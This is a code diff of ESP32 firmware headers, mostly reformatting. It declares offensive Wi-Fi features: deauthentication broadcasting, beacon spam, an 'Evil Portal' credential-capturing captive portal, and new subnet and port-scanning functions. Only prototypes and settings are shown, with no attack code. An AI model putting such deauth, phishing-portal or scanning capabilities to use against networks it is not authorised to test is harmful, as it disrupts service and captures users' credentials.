0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, + 0x6E, 0x64, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2F, 0x20, 0x4C, 0x6F, 0x61, 0x64, 0x20, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x77, 0x69, 0x6E, + 0x64, 0x6F, 0x77, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, + 0x2E, 0x6F, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x66, 0x75, + 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6C, 0x6F, 0x61, 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x63, 0x72, 0x69, 0x70, 0x74, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, 0x62, 0x6F, + 0x64, 0x79, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, 0x68, 0x74, 0x6D, 0x6C, 0x3E}; \ No newline at end of file diff --git a/include/managers/gps_manager.h b/include/managers/gps_manager.h index 6bf9512f..cd96730e 100644 --- a/include/managers/gps_manager.h +++ b/include/managers/gps_manager.h @@ -1,11 +1,10 @@ #ifndef GPSMANAGER_H #define GPSMANAGER_H -#include #include "vendor/GPS/MicroNMEA.h" #include "vendor/GPS/gps_logger.h" #include - +#include extern nmea_parser_handle_t nmea_hdl; extern gps_date_t cacheddate; @@ -16,10 +15,10 @@ typedef struct { } GPSManager; // Function prototypes -void gps_manager_init(GPSManager* manager); -void gps_manager_deinit(GPSManager* manager); -esp_err_t gps_manager_log_wardriving_data(wardriving_data_t* data); - +void gps_manager_init(GPSManager *manager); +void gps_manager_deinit(GPSManager *manager); +esp_err_t gps_manager_log_wardriving_data(wardriving_data_t *data); +bool gps_is_timeout_detected(void); GPSManager g_gpsManager; #endif // GPSMANAGER_H \ No newline at end of file diff --git a/include/managers/joystick_manager.h b/include/managers/joystick_manager.h index 020d0e0f..bfb48146 100644 --- a/include/managers/joystick_manager.h +++ b/include/managers/joystick_manager.h @@ -1,34 +1,36 @@ #ifndef JOYSTICK_MANAGER_H #define JOYSTICK_MANAGER_H +#include "driver/gpio.h" #include #include -#include "driver/gpio.h" // Define a struct for joystick management typedef struct { - int pin; - bool pullup; - bool pressed; - bool isheld; - uint32_t hold_lim; - uint32_t cur_hold; - uint32_t hold_init; + int pin; + bool pullup; + bool pressed; + bool isheld; + uint32_t hold_lim; + uint32_t cur_hold; + uint32_t hold_init; } joystick_t; /** * @brief Initializes a joystick object. - * + * * @param joystick Pointer to the joystick structure. * @param pin GPIO pin used for the joystick. * @param hold_lim Time in milliseconds to consider the button as held. - * @param pullup True if pull-up resistor is used, false if pull-down resistor is used. + * @param pullup True if pull-up resistor is used, false if pull-down resistor + * is used. */ -void joystick_init(joystick_t *joystick, int pin, uint32_t hold_lim, bool pullup); +void joystick_init(joystick_t *joystick, int pin, uint32_t hold_lim, + bool pullup); /** * @brief Checks if the joystick is being held. - * + * * @param joystick Pointer to the joystick structure. * @return True if held, false otherwise. */ @@ -36,7 +38,7 @@ bool joystick_is_held(joystick_t *joystick); /** * @brief Checks if the button is currently pressed. - * + * * @param joystick Pointer to the joystick structure. * @return True if the button is pressed, false otherwise. */ @@ -44,7 +46,7 @@ bool joystick_get_button_state(joystick_t *joystick); /** * @brief Checks if the button was just pressed. - * + * * @param joystick Pointer to the joystick structure. * @return True if the button was just pressed, false otherwise. */ @@ -52,7 +54,7 @@ bool joystick_just_pressed(joystick_t *joystick); /** * @brief Checks if the button was just released. - * + * * @param joystick Pointer to the joystick structure. * @return True if the button was just released, false otherwise. */ diff --git a/include/managers/rgb_manager.h b/include/managers/rgb_manager.h index 50833ef4..84d828d6 100644 --- a/include/managers/rgb_manager.h +++ b/include/managers/rgb_manager.h @@ -6,13 +6,13 @@ // Struct for the RGB manager (addressable LED strip) typedef struct { - gpio_num_t pin; // Single pin for LED strip - gpio_num_t red_pin; // Separate pin for red - gpio_num_t green_pin; // Separate pin for green - gpio_num_t blue_pin; // Separate pin for blue - int num_leds; // Number of LEDs - led_strip_handle_t strip; // LED strip handle - bool is_separate_pins; // Flag to check if separate RGB pins are used + gpio_num_t pin; // Single pin for LED strip + gpio_num_t red_pin; // Separate pin for red + gpio_num_t green_pin; // Separate pin for green + gpio_num_t blue_pin; // Separate pin for blue + int num_leds; // Number of LEDs + led_strip_handle_t strip; // LED strip handle + bool is_separate_pins; // Flag to check if separate RGB pins are used } RGBManager_t; /** @@ -23,10 +23,13 @@ typedef struct { * @param pixel_format Pixel format (GRB or GRBW) * @param model LED model (WS2812, SK6812, etc.) * @return esp_err_t ESP_OK on success, ESP_FAIL on failure - * + * * @note other parameters are optional depending on your setup */ -esp_err_t rgb_manager_init(RGBManager_t* rgb_manager, gpio_num_t pin, int num_leds, led_pixel_format_t pixel_format, led_model_t model, gpio_num_t red_pin, gpio_num_t green_pin, gpio_num_t blue_pin); +esp_err_t rgb_manager_init(RGBManager_t *rgb_manager, gpio_num_t pin, + int num_leds, led_pixel_format_t pixel_format, + led_model_t model, gpio_num_t red_pin, + gpio_num_t green_pin, gpio_num_t blue_pin); /** * @brief Set the color of a specific LED in the strip @@ -37,36 +40,37 @@ esp_err_t rgb_manager_init(RGBManager_t* rgb_manager, gpio_num_t pin, int num_le * @param blue Blue component (0-255) * @return esp_err_t ESP_OK on success, ESP_FAIL on failure */ -esp_err_t rgb_manager_set_color(RGBManager_t* rgb_manager, int led_idx, uint8_t red, uint8_t green, uint8_t blue, bool pulse); +esp_err_t rgb_manager_set_color(RGBManager_t *rgb_manager, int led_idx, + uint8_t red, uint8_t green, uint8_t blue, + bool pulse); /** * @brief Apply the rainbow effect to the LED strip * @param rgb_manager Pointer to the RGBManager_t structure * @param delay_ms Delay between hue shifts in milliseconds */ -void rgb_manager_rainbow_effect(RGBManager_t* rgb_manager, int delay_ms); +void rgb_manager_rainbow_effect(RGBManager_t *rgb_manager, int delay_ms); -void rgb_manager_policesiren_effect(RGBManager_t* rgb_manager, int delay_ms); +void rgb_manager_policesiren_effect(RGBManager_t *rgb_manager, int delay_ms); /** * @brief Deinitialize the RGB LED manager * @param rgb_manager Pointer to the RGBManager_t structure * @return esp_err_t ESP_OK on success, ESP_FAIL on failure */ -esp_err_t rgb_manager_deinit(RGBManager_t* rgb_manager); +esp_err_t rgb_manager_deinit(RGBManager_t *rgb_manager); -void rainbow_task(void* pvParameter); +void rainbow_task(void *pvParameter); -void police_task(void* pvParameter); +void police_task(void *pvParameter); -void pulse_once(RGBManager_t* rgb_manager, uint8_t red, uint8_t green, uint8_t blue); +void pulse_once(RGBManager_t *rgb_manager, uint8_t red, uint8_t green, + uint8_t blue); +void rgb_manager_rainbow_effect_matrix(RGBManager_t *rgb_manager, int delay_ms); -void rgb_manager_rainbow_effect_matrix(RGBManager_t* rgb_manager, int delay_ms); - - -void update_led_visualizer(uint8_t *amplitudes, size_t num_bars, bool square_mode); - +void update_led_visualizer(uint8_t *amplitudes, size_t num_bars, + bool square_mode); RGBManager_t rgb_manager; diff --git a/include/managers/sd_card_manager.h b/include/managers/sd_card_manager.h index dec460e6..68845a0d 100644 --- a/include/managers/sd_card_manager.h +++ b/include/managers/sd_card_manager.h @@ -1,40 +1,37 @@ #ifndef SD_CARD_MANAGER_H #define SD_CARD_MANAGER_H -#include "esp_err.h" #include "driver/sdmmc_host.h" #include "driver/sdmmc_types.h" +#include "esp_err.h" #include typedef struct { - sdmmc_card_t *card; - bool is_initialized; - int clkpin; - int cmdpin; - int d0pin; - int d1pin; - int d2pin; - int d3pin; - - // SPI - int spi_cs_pin; - int spi_miso_pin; - int spi_mosi_pin; - int spi_clk_pin; + sdmmc_card_t *card; + bool is_initialized; + int clkpin; + int cmdpin; + int d0pin; + int d1pin; + int d2pin; + int d3pin; + + // SPI + int spi_cs_pin; + int spi_miso_pin; + int spi_mosi_pin; + int spi_clk_pin; } sd_card_manager_t; - extern sd_card_manager_t sd_card_manager; - esp_err_t sd_card_init(); void sd_card_unmount(void); -esp_err_t sd_card_append_file(const char* path, const void* data, size_t size); -esp_err_t sd_card_write_file(const char* path, const void* data, size_t size); -esp_err_t sd_card_read_file(const char* path); -esp_err_t sd_card_create_directory(const char* path); -bool sd_card_exists(const char* path); +esp_err_t sd_card_append_file(const char *path, const void *data, size_t size); +esp_err_t sd_card_write_file(const char *path, const void *data, size_t size); +esp_err_t sd_card_read_file(const char *path); +esp_err_t sd_card_create_directory(const char *path); +bool sd_card_exists(const char *path); esp_err_t sd_card_setup_directory_structure(); - #endif // SD_CARD_MANAGER_H \ No newline at end of file diff --git a/include/managers/settings_manager.h b/include/managers/settings_manager.h index ac5a2d25..1c09db41 100644 --- a/include/managers/settings_manager.h +++ b/include/managers/settings_manager.h @@ -1,153 +1,158 @@ #ifndef SETTINGS_MANAGER_H #define SETTINGS_MANAGER_H -#include -#include -#include #include "core/utils.h" #include - +#include +#include +#include // Enum for RGB Modes typedef enum { - RGB_MODE_NORMAL = 0, - RGB_MODE_RAINBOW = 1, + RGB_MODE_NORMAL = 0, + RGB_MODE_RAINBOW = 1, } RGBMode; typedef enum { - ALIGNMENT_CM, // Center Middle - ALIGNMENT_TL, // Top Left - ALIGNMENT_TR, // Top Right - ALIGNMENT_BR, // Bottom Right - ALIGNMENT_BL // Bottom Left + ALIGNMENT_CM, // Center Middle + ALIGNMENT_TL, // Top Left + ALIGNMENT_TR, // Top Right + ALIGNMENT_BR, // Bottom Right + ALIGNMENT_BL // Bottom Left } PrinterAlignment; // Enum for Supported Boards typedef enum { - FLIPPER_DEV_BOARD = 0, - AWOK_DUAL_MINI = 1, - AWOK_DUAL = 2, - MARAUDER_V6 = 3, - CARDPUTER = 4, - DEVBOARD_PRO = 5, - CUSTOM = 6 + FLIPPER_DEV_BOARD = 0, + AWOK_DUAL_MINI = 1, + AWOK_DUAL = 2, + MARAUDER_V6 = 3, + CARDPUTER = 4, + DEVBOARD_PRO = 5, + CUSTOM = 6 } SupportedBoard; // Struct for advanced pin configuration typedef struct { - int8_t neopixel_pin; - int8_t sd_card_spi_miso; - int8_t sd_card_spi_mosi; - int8_t sd_card_spi_clk; - int8_t sd_card_spi_cs; - int8_t sd_card_mmc_cmd; - int8_t sd_card_mmc_clk; - int8_t sd_card_mmc_d0; - int8_t gps_tx_pin; - int8_t gps_rx_pin; + int8_t neopixel_pin; + int8_t sd_card_spi_miso; + int8_t sd_card_spi_mosi; + int8_t sd_card_spi_clk; + int8_t sd_card_spi_cs; + int8_t sd_card_mmc_cmd; + int8_t sd_card_mmc_clk; + int8_t sd_card_mmc_d0; + int8_t gps_tx_pin; + int8_t gps_rx_pin; } PinConfig; // Struct for settings typedef struct { - RGBMode rgb_mode; - float channel_delay; - uint16_t broadcast_speed; - char ap_ssid[33]; // Max SSID length is 32 bytes + null terminator - char ap_password[65]; // Max password length is 64 bytes + null terminator - uint8_t rgb_speed; - - // Evil Portal settings - char portal_url[129]; // URL or file path for offline mode - char portal_ssid[33]; // SSID for the Evil Portal - char portal_password[65]; // Password for the Evil Portal - char portal_ap_ssid[33]; // AP SSID for the Evil Portal - char portal_domain[65]; // Domain for the Evil Portal - bool portal_offline_mode; // Toggle for offline/online mode - - // Power Printer settings - char printer_ip[16]; // Printer IP address (IPv4) - char printer_text[257]; // Last printed text (max 256 characters + null terminator) - uint8_t printer_font_size; // Font size for printing - PrinterAlignment printer_alignment; // Text alignment - char flappy_ghost_name[65]; - char selected_timezone[25]; - char selected_hex_accent_color[25]; - int gps_rx_pin; - uint32_t display_timeout_ms; // Display timeout in milliseconds + RGBMode rgb_mode; + float channel_delay; + uint16_t broadcast_speed; + char ap_ssid[33]; // Max SSID length is 32 bytes + null terminator + char ap_password[65]; // Max password length is 64 bytes + null terminator + uint8_t rgb_speed; + + // Evil Portal settings + char portal_url[129]; // URL or file path for offline mode + char portal_ssid[33]; // SSID for the Evil Portal + char portal_password[65]; // Password for the Evil Portal + char portal_ap_ssid[33]; // AP SSID for the Evil Portal + char portal_domain[65]; // Domain for the Evil Portal + bool portal_offline_mode; // Toggle for offline/online mode + + // Power Printer settings + char printer_ip[16]; // Printer IP address (IPv4) + char printer_text[257]; // Last printed text (max 256 characters + null + // terminator) + uint8_t printer_font_size; // Font size for printing + PrinterAlignment printer_alignment; // Text alignment + char flappy_ghost_name[65]; + char selected_timezone[25]; + char selected_hex_accent_color[25]; + int gps_rx_pin; + uint32_t display_timeout_ms; // Display timeout in milliseconds + bool rts_enabled; } FSettings; // Function declarations -void settings_init(FSettings* settings); +void settings_init(FSettings *settings); void settings_deinit(void); -void settings_load(FSettings* settings); -void settings_save(const FSettings* settings); -void settings_set_defaults(FSettings* settings); +void settings_load(FSettings *settings); +void settings_save(const FSettings *settings); +void settings_set_defaults(FSettings *settings); // Getters and Setters for core settings -void settings_set_rgb_mode(FSettings* settings, RGBMode mode); -RGBMode settings_get_rgb_mode(const FSettings* settings); +void settings_set_rgb_mode(FSettings *settings, RGBMode mode); +RGBMode settings_get_rgb_mode(const FSettings *settings); + +void settings_set_channel_delay(FSettings *settings, float delay_ms); +float settings_get_channel_delay(const FSettings *settings); -void settings_set_channel_delay(FSettings* settings, float delay_ms); -float settings_get_channel_delay(const FSettings* settings); +void settings_set_broadcast_speed(FSettings *settings, uint16_t speed); +uint16_t settings_get_broadcast_speed(const FSettings *settings); -void settings_set_broadcast_speed(FSettings* settings, uint16_t speed); -uint16_t settings_get_broadcast_speed(const FSettings* settings); +void settings_set_flappy_ghost_name(FSettings *settings, const char *Name); +const char *settings_get_flappy_ghost_name(const FSettings *settings); -void settings_set_flappy_ghost_name(FSettings* settings, const char* Name); -const char* settings_get_flappy_ghost_name(const FSettings* settings); +void settings_set_rts_enabled(FSettings *settings, bool enabled); +bool settings_get_rts_enabled(FSettings *settings); -void settings_set_timezone_str(FSettings* settings, const char* Name); -const char* settings_get_timezone_str(const FSettings* settings); +void settings_set_timezone_str(FSettings *settings, const char *Name); +const char *settings_get_timezone_str(const FSettings *settings); void settings_set_accent_color_str(FSettings *settings, const char *Name); const char *settings_get_accent_color_str(const FSettings *settings); -void settings_set_ap_ssid(FSettings* settings, const char* ssid); -const char* settings_get_ap_ssid(const FSettings* settings); +void settings_set_ap_ssid(FSettings *settings, const char *ssid); +const char *settings_get_ap_ssid(const FSettings *settings); -void settings_set_ap_password(FSettings* settings, const char* password); -const char* settings_get_ap_password(const FSettings* settings); +void settings_set_ap_password(FSettings *settings, const char *password); +const char *settings_get_ap_password(const FSettings *settings); -void settings_set_rgb_speed(FSettings* settings, uint8_t speed); -uint8_t settings_get_rgb_speed(const FSettings* settings); +void settings_set_rgb_speed(FSettings *settings, uint8_t speed); +uint8_t settings_get_rgb_speed(const FSettings *settings); // Getters and Setters for Evil Portal -void settings_set_portal_url(FSettings* settings, const char* url); -const char* settings_get_portal_url(const FSettings* settings); +void settings_set_portal_url(FSettings *settings, const char *url); +const char *settings_get_portal_url(const FSettings *settings); -void settings_set_portal_ssid(FSettings* settings, const char* ssid); -const char* settings_get_portal_ssid(const FSettings* settings); +void settings_set_portal_ssid(FSettings *settings, const char *ssid); +const char *settings_get_portal_ssid(const FSettings *settings); -void settings_set_gps_rx_pin(FSettings* settings, uint8_t RxPin); -uint8_t settings_get_gps_rx_pin(const FSettings* settings); +void settings_set_gps_rx_pin(FSettings *settings, uint8_t RxPin); +uint8_t settings_get_gps_rx_pin(const FSettings *settings); -void settings_set_portal_password(FSettings* settings, const char* password); -const char* settings_get_portal_password(const FSettings* settings); +void settings_set_portal_password(FSettings *settings, const char *password); +const char *settings_get_portal_password(const FSettings *settings); -void settings_set_portal_ap_ssid(FSettings* settings, const char* ap_ssid); -const char* settings_get_portal_ap_ssid(const FSettings* settings); +void settings_set_portal_ap_ssid(FSettings *settings, const char *ap_ssid); +const char *settings_get_portal_ap_ssid(const FSettings *settings); -void settings_set_portal_domain(FSettings* settings, const char* domain); -const char* settings_get_portal_domain(const FSettings* settings); +void settings_set_portal_domain(FSettings *settings, const char *domain); +const char *settings_get_portal_domain(const FSettings *settings); -void settings_set_portal_offline_mode(FSettings* settings, bool offline_mode); -bool settings_get_portal_offline_mode(const FSettings* settings); +void settings_set_portal_offline_mode(FSettings *settings, bool offline_mode); +bool settings_get_portal_offline_mode(const FSettings *settings); // Getters and Setters for Power Printer -void settings_set_printer_ip(FSettings* settings, const char* ip); -const char* settings_get_printer_ip(const FSettings* settings); +void settings_set_printer_ip(FSettings *settings, const char *ip); +const char *settings_get_printer_ip(const FSettings *settings); -void settings_set_printer_text(FSettings* settings, const char* text); -const char* settings_get_printer_text(const FSettings* settings); +void settings_set_printer_text(FSettings *settings, const char *text); +const char *settings_get_printer_text(const FSettings *settings); -void settings_set_printer_font_size(FSettings* settings, uint8_t font_size); -uint8_t settings_get_printer_font_size(const FSettings* settings); +void settings_set_printer_font_size(FSettings *settings, uint8_t font_size); +uint8_t settings_get_printer_font_size(const FSettings *settings); -void settings_set_printer_alignment(FSettings* settings, PrinterAlignment alignment); -PrinterAlignment settings_get_printer_alignment(const FSettings* settings); +void settings_set_printer_alignment(FSettings *settings, + PrinterAlignment alignment); +PrinterAlignment settings_get_printer_alignment(const FSettings *settings); -void settings_set_display_timeout(FSettings* settings, uint32_t timeout_ms); -uint32_t settings_get_display_timeout(const FSettings* settings); +void settings_set_display_timeout(FSettings *settings, uint32_t timeout_ms); +uint32_t settings_get_display_timeout(const FSettings *settings); static nvs_handle_t nvsHandle; diff --git a/include/managers/views/app_gallery_screen.h b/include/managers/views/app_gallery_screen.h index d3749081..20fab5ca 100644 --- a/include/managers/views/app_gallery_screen.h +++ b/include/managers/views/app_gallery_screen.h @@ -1,8 +1,8 @@ #ifndef APPS_MENU_SCREEN_H #define APPS_MENU_SCREEN_H -#include "managers/display_manager.h" #include "lvgl.h" +#include "managers/display_manager.h" void apps_menu_create(void); void apps_menu_destroy(void); diff --git a/include/managers/views/flappy_ghost_screen.h b/include/managers/views/flappy_ghost_screen.h index 006a5f34..e5ee1e42 100644 --- a/include/managers/views/flappy_ghost_screen.h +++ b/include/managers/views/flappy_ghost_screen.h @@ -12,7 +12,6 @@ int flappy_bird_check_collision(lv_obj_t *bird, lv_obj_t *pipe); void flappy_bird_game_over(); void flappy_bird_restart(); - extern View flappy_bird_view; #endif // FLAPPY_BIRD_SCREEN_H \ No newline at end of file diff --git a/include/managers/views/main_menu_screen.h b/include/managers/views/main_menu_screen.h index 69ea9f8f..fa264f2c 100644 --- a/include/managers/views/main_menu_screen.h +++ b/include/managers/views/main_menu_screen.h @@ -1,9 +1,9 @@ #ifndef MAIN_MENU_SCREEN_H #define MAIN_MENU_SCREEN_H +#include "lvgl.h" #include "managers/display_manager.h" #include "managers/views/options_screen.h" -#include "lvgl.h" /** * @brief Creates the main menu screen view. @@ -15,14 +15,12 @@ void main_menu_create(void); */ void main_menu_destroy(void); - static void select_menu_item(int index); static void handle_menu_item_selection(int item_index); void handle_hardware_button_press(int ButtonPressed); - extern View main_menu_view; extern lv_timer_t *time_update_timer; diff --git a/include/managers/views/music_visualizer.h b/include/managers/views/music_visualizer.h index 7821e183..87a4472f 100644 --- a/include/managers/views/music_visualizer.h +++ b/include/managers/views/music_visualizer.h @@ -1,21 +1,22 @@ #include "lvgl.h" -#include #include +#include #include "managers/display_manager.h" #define NUM_BARS 15 typedef struct { - lv_obj_t *track_label; - lv_obj_t *artist_label; - lv_obj_t *bars[NUM_BARS]; + lv_obj_t *track_label; + lv_obj_t *artist_label; + lv_obj_t *bars[NUM_BARS]; } MusicVisualizerView; - void music_visualizer_view_create(); -void music_visualizer_view_update(const uint8_t *amplitudes, const char *track_name, const char *artist_name); +void music_visualizer_view_update(const uint8_t *amplitudes, + const char *track_name, + const char *artist_name); void music_visualizer_destroy(); diff --git a/include/managers/views/options_screen.h b/include/managers/views/options_screen.h index 0ce2bd44..40f2d0d6 100644 --- a/include/managers/views/options_screen.h +++ b/include/managers/views/options_screen.h @@ -4,26 +4,14 @@ #include "lvgl/lvgl.h" #include "managers/display_manager.h" -typedef enum -{ - OT_Wifi, - OT_Bluetooth, - OT_GPS, - OT_Settings -} EOptionsMenuType; - +typedef enum { OT_Wifi, OT_Bluetooth, OT_GPS, OT_Settings } EOptionsMenuType; extern View options_menu_view; - extern EOptionsMenuType SelectedMenuType; - void options_menu_create(void); - - void options_menu_destroy(void); - - -void option_event_cb(const char* Selected_Option); +void option_event_cb(lv_event_t *e); +void handle_option_directly(const char *Selected_Option); #endif // OPTIONS_MENU_VIEW_H \ No newline at end of file diff --git a/include/managers/views/splash_screen.h b/include/managers/views/splash_screen.h index 1577d1e7..9c88d922 100644 --- a/include/managers/views/splash_screen.h +++ b/include/managers/views/splash_screen.h @@ -1,8 +1,8 @@ #ifndef SPLASH_SCREEN_H #define SPLASH_SCREEN_H -#include "managers/display_manager.h" #include "lvgl.h" +#include "managers/display_manager.h" /** * @brief Creates the splash screen view. diff --git a/include/managers/views/terminal_screen.h b/include/managers/views/terminal_screen.h index 7da6a602..0dad7bc1 100644 --- a/include/managers/views/terminal_screen.h +++ b/include/managers/views/terminal_screen.h @@ -4,28 +4,25 @@ #include "lvgl.h" #include "managers/display_manager.h" - extern View terminal_view; - void terminal_view_add_text(const char *text); void terminal_view_create(void); void terminal_view_destroy(void); - #ifdef CONFIG_WITH_SCREEN - #define TERMINAL_VIEW_ADD_TEXT(fmt, ...) \ - do { \ - char buffer[350]; \ - snprintf(buffer, sizeof(buffer), fmt, ##__VA_ARGS__); \ - terminal_view_add_text(buffer); \ - } while (0) +#define TERMINAL_VIEW_ADD_TEXT(fmt, ...) \ + do { \ + char buffer[350]; \ + snprintf(buffer, sizeof(buffer), fmt, ##__VA_ARGS__); \ + terminal_view_add_text(buffer); \ + } while (0) #else - #define TERMINAL_VIEW_ADD_TEXT(fmt, ...) \ - do { } while (0) +#define TERMINAL_VIEW_ADD_TEXT(fmt, ...) \ + do { \ + } while (0) #endif - #endif // TERMINAL_VIEW_H \ No newline at end of file diff --git a/include/managers/wifi_manager.h b/include/managers/wifi_manager.h index e1e26ed9..a84137b6 100644 --- a/include/managers/wifi_manager.h +++ b/include/managers/wifi_manager.h @@ -7,80 +7,104 @@ #include "esp_wifi_types.h" #define RANDOM_SSID_LEN 8 -#define BEACON_INTERVAL 0x0064 // 100 Time Units (TU) -#define CAPABILITY_INFO 0x0411 // Capability information (ESS) +#define BEACON_INTERVAL 0x0064 // 100 Time Units (TU) +#define CAPABILITY_INFO 0x0411 // Capability information (ESS) #define MAX_STATIONS 50 typedef struct { - uint8_t station_mac[6]; // MAC address of the station (client) - uint8_t ap_bssid[6]; // BSSID (MAC address) of the access point + uint8_t station_mac[6]; // MAC address of the station (client) + uint8_t ap_bssid[6]; // BSSID (MAC address) of the access point } station_ap_pair_t; -static station_ap_pair_t station_ap_list[MAX_STATIONS]; // Array to store station-AP pairs +static station_ap_pair_t + station_ap_list[MAX_STATIONS]; // Array to store station-AP pairs static int station_count = 0; -extern wifi_ap_record_t* scanned_aps; +extern wifi_ap_record_t *scanned_aps; extern wifi_ap_record_t selected_ap; -static void* beacon_task_handle; -static void* deauth_task_handle; +static void *beacon_task_handle; +static void *deauth_task_handle; static int beacon_task_running = 0; typedef struct { - uint8_t frame_control[2]; // Frame Control - uint16_t duration; // Duration - uint8_t dest_addr[6]; // Destination Address - uint8_t src_addr[6]; // Source Address (AP MAC) - uint8_t bssid[6]; // BSSID (AP MAC) - uint16_t seq_ctrl; // Sequence Control - uint64_t timestamp; // Timestamp (microseconds since the AP started) - uint16_t beacon_interval; // Beacon Interval (in Time Units) - uint16_t cap_info; // Capability Information + uint8_t frame_control[2]; // Frame Control + uint16_t duration; // Duration + uint8_t dest_addr[6]; // Destination Address + uint8_t src_addr[6]; // Source Address (AP MAC) + uint8_t bssid[6]; // BSSID (AP MAC) + uint16_t seq_ctrl; // Sequence Control + uint64_t timestamp; // Timestamp (microseconds since the AP started) + uint16_t beacon_interval; // Beacon Interval (in Time Units) + uint16_t cap_info; // Capability Information } __attribute__((packed)) wifi_beacon_frame_t; - typedef struct { - unsigned protocol_version : 2; - unsigned type : 2; - unsigned subtype : 4; - unsigned to_ds : 1; - unsigned from_ds : 1; - unsigned more_frag : 1; - unsigned retry : 1; - unsigned pwr_mgmt : 1; - unsigned more_data : 1; - unsigned protected_frame : 1; - unsigned order : 1; + unsigned protocol_version : 2; + unsigned type : 2; + unsigned subtype : 4; + unsigned to_ds : 1; + unsigned from_ds : 1; + unsigned more_frag : 1; + unsigned retry : 1; + unsigned pwr_mgmt : 1; + unsigned more_data : 1; + unsigned protected_frame : 1; + unsigned order : 1; } wifi_ieee80211_frame_ctrl_t; - typedef struct { - wifi_ieee80211_frame_ctrl_t frame_ctrl; // Frame control field - uint16_t duration_id; // Duration/ID field - uint8_t addr1[6]; // Address 1 (Destination MAC or BSSID) - uint8_t addr2[6]; // Address 2 (Source MAC) - uint8_t addr3[6]; // Address 3 (BSSID or Destination MAC) - uint16_t seq_ctrl; // Sequence control field - uint8_t addr4[6]; // Optional address 4 (used in certain cases) + wifi_ieee80211_frame_ctrl_t frame_ctrl; // Frame control field + uint16_t duration_id; // Duration/ID field + uint8_t addr1[6]; // Address 1 (Destination MAC or BSSID) + uint8_t addr2[6]; // Address 2 (Source MAC) + uint8_t addr3[6]; // Address 3 (BSSID or Destination MAC) + uint16_t seq_ctrl; // Sequence control field + uint8_t addr4[6]; // Optional address 4 (used in certain cases) } wifi_ieee80211_hdr_t; - +typedef struct { + uint8_t type; + uint8_t code; + uint16_t checksum; + uint16_t id; + uint16_t seqno; +} __attribute__((__packed__)) icmp_packet_t; typedef struct { - uint16_t frame_ctrl; // Frame control field - uint16_t duration_id; // Duration field - uint8_t addr1[6]; // Receiver address (RA) - uint8_t addr2[6]; // Transmitter address (TA) - uint8_t addr3[6]; // BSSID or destination address - uint16_t seq_ctrl; // Sequence control field + uint16_t frame_ctrl; // Frame control field + uint16_t duration_id; // Duration field + uint8_t addr1[6]; // Receiver address (RA) + uint8_t addr2[6]; // Transmitter address (TA) + uint8_t addr3[6]; // BSSID or destination address + uint16_t seq_ctrl; // Sequence control field } wifi_ieee80211_mac_hdr_t; typedef struct { - wifi_ieee80211_hdr_t hdr; // The 802.11 header - uint8_t payload[]; // Variable-length payload (data) + wifi_ieee80211_hdr_t hdr; // The 802.11 header + uint8_t payload[]; // Variable-length payload (data) } wifi_ieee80211_packet_t; -typedef void (* wifi_promiscuous_cb_t_t)(void *buf, wifi_promiscuous_pkt_type_t type); +typedef struct { + char ip[16]; + uint16_t open_ports[64]; + uint8_t num_open_ports; +} host_result_t; + +typedef struct { + const char *ssid; + const char *password; +} wifi_credentials_t; + +typedef struct { + char subnet_prefix[16]; + host_result_t *results; + size_t max_results; + size_t num_active_hosts; +} scanner_ctx_t; + +typedef void (*wifi_promiscuous_cb_t_t)(void *buf, + wifi_promiscuous_pkt_type_t type); // Initialize WiFiManager void wifi_manager_init(); @@ -105,7 +129,7 @@ void wifi_manager_stop_beacon(); void wifi_manager_start_ip_lookup(); -void wifi_manager_connect_wifi(const char* ssid, const char* password); +void wifi_manager_connect_wifi(const char *ssid, const char *password); void wifi_manager_stop_monitor_mode(); @@ -119,13 +143,18 @@ void wifi_manager_select_ap(int index); void wifi_manager_stop_deauth(); -esp_err_t wifi_manager_broadcast_deauth(uint8_t bssid[6], int channel, uint8_t mac[6]); +esp_err_t wifi_manager_broadcast_deauth(uint8_t bssid[6], int channel, + uint8_t mac[6]); -void wifi_stations_sniffer_callback(void *buf, wifi_promiscuous_pkt_type_t type); +void wifi_stations_sniffer_callback(void *buf, + wifi_promiscuous_pkt_type_t type); void wifi_manager_stop_evil_portal(); -esp_err_t wifi_manager_start_evil_portal(const char* URL, const char* SSID, const char* Password, const char* ap_ssid, const char* domain); +esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, + const char *Password, + const char *ap_ssid, + const char *domain); void screen_music_visualizer_task(void *pvParameters); @@ -133,4 +162,83 @@ void rgb_visualizer_server_task(void *pvParameters); void animate_led_based_on_amplitude(void *pvParameters); +void wifi_manager_scan_for_open_ports(); + +bool get_subnet_prefix(scanner_ctx_t *ctx); + +bool is_host_active(const char *ip_addr); + +scanner_ctx_t *scanner_init(void); + +bool wifi_manager_scan_subnet(); + +void scan_ports_on_host(const char *target_ip, host_result_t *result); + +bool scan_ip_port_range(const char *target_ip, uint16_t start_port, + uint16_t end_port); + +static const uint16_t COMMON_PORTS[] = { + 20, // FTP Data + 21, // FTP Control + 22, // SSH + 23, // Telnet + 25, // SMTP + 53, // DNS + 69, // TFTP + 80, // HTTP + 88, // Kerberos + 110, // POP3 